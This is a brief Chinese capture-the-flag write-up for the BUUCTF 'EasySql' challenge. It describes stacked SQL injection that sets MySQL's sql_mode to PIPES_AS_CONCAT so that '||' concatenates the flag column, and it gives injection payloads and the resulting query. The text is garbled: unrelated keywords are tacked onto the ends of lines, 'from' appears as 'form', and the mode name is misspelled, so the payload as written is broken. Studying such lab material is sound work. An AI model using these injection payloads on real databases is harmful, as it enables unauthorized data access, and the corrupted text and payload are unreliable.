buuctf Easysql 小記

堆疊注入mysql

 

利用原理:sql

補充系統變量@@sql_modesql_mode:是一組mysql支持的基本語法及校驗規則
PIPES_AS_CONCAT:將「||」視爲字符串的鏈接操做符而非或運算符,這和Oracle數據庫是同樣的,也和字符串的拼接函數Concat相相似數據庫

猜想後臺sql語句爲:函數

select 接受的變量 || flag form flag;orm

payload:ip

1;set sql_mode=pipes_as_contact;select1;字符串

//閉合     //設置變量                         //拼接sql語句pip

 

*,1form

//拼接起來的sql語句是    select *,1 || flag from flag;後臺

相關文章
相關標籤/搜索